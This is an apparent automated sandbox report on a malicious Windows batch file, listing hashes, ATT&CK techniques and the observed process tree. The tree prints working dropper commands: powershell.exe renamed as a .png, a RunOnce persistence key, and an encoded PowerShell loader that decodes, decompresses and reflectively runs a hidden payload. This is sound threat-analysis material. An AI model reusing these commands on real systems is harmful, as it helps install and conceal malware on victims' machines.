39904d4c94621855d4c437a13cb547d9c9437e9854d369c5c77c8bc87e017903

General

Target

39904d4c94621855d4c437a13cb547d9c9437e9854d369c5c77c8bc87e017903_JC.bat
Size

190KB
MD5

c1a32e443cca0bc04d2dc934d4b03589
SHA1

58624017d54e2205f68b3866ddbf0c7d0f2f5f15
SHA256

39904d4c94621855d4c437a13cb547d9c9437e9854d369c5c77c8bc87e017903
SHA512

69576d38bc872e974c6b5234f338f2dd4873ac00b4229931b7f53073c9e22673196a04c5fa11c853c7fcaa78092c4fb578d13d43404fbcb9e2231a3adde09590
SSDEEP

3072:WrE2UUsTMYHF1700nVuwW7TmgEmGNBKq/4NMP15u/ofcEFsl4bmM8tTnx:WrRUPPiwW7T3EfB//4NMP1CN4bQtTnx

Score

7^/10

Malware Config

Signatures

Executes dropped EXE 1 IoCs

pid	Process
2992	Flqpvb.png

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1024678951-1535676557-2778719785-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce\Flqpvb = "C:\\Users\\Admin\\AppData\\Roaming\\Flqpvb.bat"	reg.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

pid	Process
2992	Flqpvb.png

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2992	Flqpvb.png

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2992	Flqpvb.png

Suspicious use of WriteProcessMemory 25 IoCs

description	pid	Process	procid_target
PID 2912 wrote to memory of 2128	2912	cmd.exe	29
PID 2912 wrote to memory of 2128	2912	cmd.exe	29
PID 2912 wrote to memory of 2128	2912	cmd.exe	29
PID 2912 wrote to memory of 1380	2912	cmd.exe	30
PID 2912 wrote to memory of 1380	2912	cmd.exe	30
PID 2912 wrote to memory of 1380	2912	cmd.exe	30
PID 2912 wrote to memory of 584	2912	cmd.exe	31
PID 2912 wrote to memory of 584	2912	cmd.exe	31
PID 2912 wrote to memory of 584	2912	cmd.exe	31
PID 2912 wrote to memory of 268	2912	cmd.exe	32
PID 2912 wrote to memory of 268	2912	cmd.exe	32
PID 2912 wrote to memory of 268	2912	cmd.exe	32
PID 2912 wrote to memory of 868	2912	cmd.exe	33
PID 2912 wrote to memory of 868	2912	cmd.exe	33
PID 2912 wrote to memory of 868	2912	cmd.exe	33
PID 2912 wrote to memory of 2868	2912	cmd.exe	34
PID 2912 wrote to memory of 2868	2912	cmd.exe	34
PID 2912 wrote to memory of 2868	2912	cmd.exe	34
PID 2912 wrote to memory of 2988	2912	cmd.exe	35
PID 2912 wrote to memory of 2988	2912	cmd.exe	35
PID 2912 wrote to memory of 2988	2912	cmd.exe	35
PID 2912 wrote to memory of 2992	2912	cmd.exe	36
PID 2912 wrote to memory of 2992	2912	cmd.exe	36
PID 2912 wrote to memory of 2992	2912	cmd.exe	36
PID 2912 wrote to memory of 2992	2912	cmd.exe	36

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\39904d4c94621855d4c437a13cb547d9c9437e9854d369c5c77c8bc87e017903_JC.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2912
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" echo F "
  2⤵
  PID:2128
- C:\Windows\system32\xcopy.exe
  xcopy /d /q /y /h /i C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Local\Temp\Flqpvb.png
  2⤵
  PID:1380
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" echo F "
  2⤵
  PID:584
- C:\Windows\system32\xcopy.exe
  xcopy /d /q /y /h /i C:\Users\Admin\AppData\Local\Temp\39904d4c94621855d4c437a13cb547d9c9437e9854d369c5c77c8bc87e017903_JC.bat C:\Users\Admin\AppData\Local\Temp\Flqpvb.png.jpg
  2⤵
  PID:268
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" echo F "
  2⤵
  PID:868
- C:\Windows\system32\xcopy.exe
  xcopy /d /q /y /h /i C:\Users\Admin\AppData\Local\Temp\39904d4c94621855d4c437a13cb547d9c9437e9854d369c5c77c8bc87e017903_JC.bat C:\Users\Admin\AppData\Roaming\Flqpvb.bat
  2⤵
  PID:2868
- C:\Windows\system32\reg.exe
  reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce /f /v Flqpvb /d C:\Users\Admin\AppData\Roaming\Flqpvb.bat
  2⤵
  - Adds Run key to start application
  PID:2988
- C:\Users\Admin\AppData\Local\Temp\Flqpvb.png
  C:\Users\Admin\AppData\Local\Temp\Flqpvb.png -win 1 -enc JABBAHMAYwBnAGEAdABlAGsAbgBtACAAPQAgAFsASQBPAC4ARgBpAGwAZQBdADoAOgBSAGUAYQBkAEwAaQBuAGUAcwAoACgAKABbAFMAeQBzAHQAZQBtAC4ARABpAGEAZwBuAG8AcwB0AGkAYwBzAC4AUAByAG8AYwBlAHMAcwBdADoAOgBHAGUAdABDAHUAcgByAGUAbgB0AFAAcgBvAGMAZQBzAHMAKAApAC4ATQBhAGkAbgBNAG8AZAB1AGwAZQAuAEYAaQBsAGUATgBhAG0AZQApAC4AVABvAFMAdAByAGkAbgBnACgAKQAgACsAIAAiAC4AagBwAGcAIgApACwAIABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAApACAAfAAgAFMAZQBsAGUAYwB0AC0ATwBiAGoAZQBjAHQAIAAtAGwAYQBzAHQAIAAxADsAIAAkAEMAbwB4AGsAdgBmAHUAYQAgAD0AIABbAFMAeQBzAHQAZQBtAC4AQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJABBAHMAYwBnAGEAdABlAGsAbgBtACkAOwAkAFYAdwBzAHcAegBvAHcAZwBpAGEAYwAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBJAE8ALgBNAGUAbQBvAHIAeQBTAHQAcgBlAGEAbQAoACAALAAgACQAQwBvAHgAawB2AGYAdQBhACAAKQA7ACQAbwB1AHQAcAB1AHQAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ASQBPAC4ATQBlAG0AbwByAHkAUwB0AHIAZQBhAG0AOwAkAEYAYQB4AGkAcwAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBJAE8ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ALgBHAHoAaQBwAFMAdAByAGUAYQBtACAAJABWAHcAcwB3AHoAbwB3AGcAaQBhAGMALAAgACgAWwBJAE8ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ATQBvAGQAZQBdADoAOgBEAGUAYwBvAG0AcAByAGUAcwBzACkAOwAkAEYAYQB4AGkAcwAuAEMAbwBwAHkAVABvACgAIAAkAG8AdQB0AHAAdQB0ACAAKQA7ACQARgBhAHgAaQBzAC4AQwBsAG8AcwBlACgAKQA7ACQAVgB3AHMAdwB6AG8AdwBnAGkAYQBjAC4AQwBsAG8AcwBlACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAgACQAQwBvAHgAawB2AGYAdQBhACAAPQAgACQAbwB1AHQAcAB1AHQALgBUAG8AQQByAHIAYQB5ACgAKQA7AFsAQQByAHIAYQB5AF0AOgA6AFIAZQB2AGUAcgBzAGUAKAAkAEMAbwB4AGsAdgBmAHUAYQApADsAIAAkAEgAYwBoAHEAbABiAHQAegBnAHMAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFIAZQBmAGwAZQBjAHQAaQBvAG4ALgBBAHMAcwBlAG0AYgBsAHkAXQA6ADoATABvAGEAZAAoACQAQwBvAHgAawB2AGYAdQBhACkAOwAgACQARQBtAGkAZwB5AGUAaQB4ACAAPQAgACQASABjAGgAcQBsAGIAdAB6AGcAcwAuAEUAbgB0AHIAeQBQAG8AaQBuAHQAOwAgACQATwB2AG0AbQBkACAAPQAgACQASABjAGgAcQBsAGIAdAB6AGcAcwAuAEMAcgBlAGEAdABlAEkAbgBzAHQAYQBuAGMAZQAoACQARQBtAGkAZwB5AGUAaQB4AC4ATgBhAG0AZQApADsAIAAkAEUAbQBpAGcAeQBlAGkAeAAuAEkAbgB2AG8AawBlACgAJABPAHYAbQBtAGQALAAgACQAbgB1AGwAbAApACAAfAAgAE8AdQB0AC0ATgB1AGwAbAA=
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: CmdExeWriteProcessMemorySpam
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2992

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\Flqpvb.png

Filesize
442KB

MD5
92f44e405db16ac55d97e3bfe3b132fa

SHA1
04c5d2b4da9a0f3fa8a45702d4256cee42d8c48d

SHA256
6c05e11399b7e3c8ed31bae72014cf249c144a8f4a2c54a758eb2e6fad47aec7

SHA512
f7d85cfb42a4d859d10f1f06f663252be50b329fcf78a05bb75a263b55235bbf8adb89d732935b1325aaea848d0311ab283ffe72b19db93e6c28a859204fdf9f

Download Submit
C:\Users\Admin\AppData\Local\Temp\Flqpvb.png

Filesize
442KB

MD5
92f44e405db16ac55d97e3bfe3b132fa

SHA1
04c5d2b4da9a0f3fa8a45702d4256cee42d8c48d

SHA256
6c05e11399b7e3c8ed31bae72014cf249c144a8f4a2c54a758eb2e6fad47aec7

SHA512
f7d85cfb42a4d859d10f1f06f663252be50b329fcf78a05bb75a263b55235bbf8adb89d732935b1325aaea848d0311ab283ffe72b19db93e6c28a859204fdf9f

Download Submit
C:\Users\Admin\AppData\Roaming\Flqpvb.bat

Filesize
190KB

MD5
c1a32e443cca0bc04d2dc934d4b03589

SHA1
58624017d54e2205f68b3866ddbf0c7d0f2f5f15

SHA256
39904d4c94621855d4c437a13cb547d9c9437e9854d369c5c77c8bc87e017903

SHA512
69576d38bc872e974c6b5234f338f2dd4873ac00b4229931b7f53073c9e22673196a04c5fa11c853c7fcaa78092c4fb578d13d43404fbcb9e2231a3adde09590

Download Submit
memory/2992-11-0x0000000073EF0000-0x000000007449B000-memory.dmp

Filesize
5.7MB

Download
memory/2992-12-0x0000000073EF0000-0x000000007449B000-memory.dmp

Filesize
5.7MB

Download
memory/2992-13-0x0000000002470000-0x00000000024B0000-memory.dmp

Filesize
256KB

Download
memory/2992-14-0x0000000002470000-0x00000000024B0000-memory.dmp

Filesize
256KB

Download
memory/2992-15-0x0000000002470000-0x00000000024B0000-memory.dmp

Filesize
256KB

Download
memory/2992-16-0x0000000073EF0000-0x000000007449B000-memory.dmp

Filesize
5.7MB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads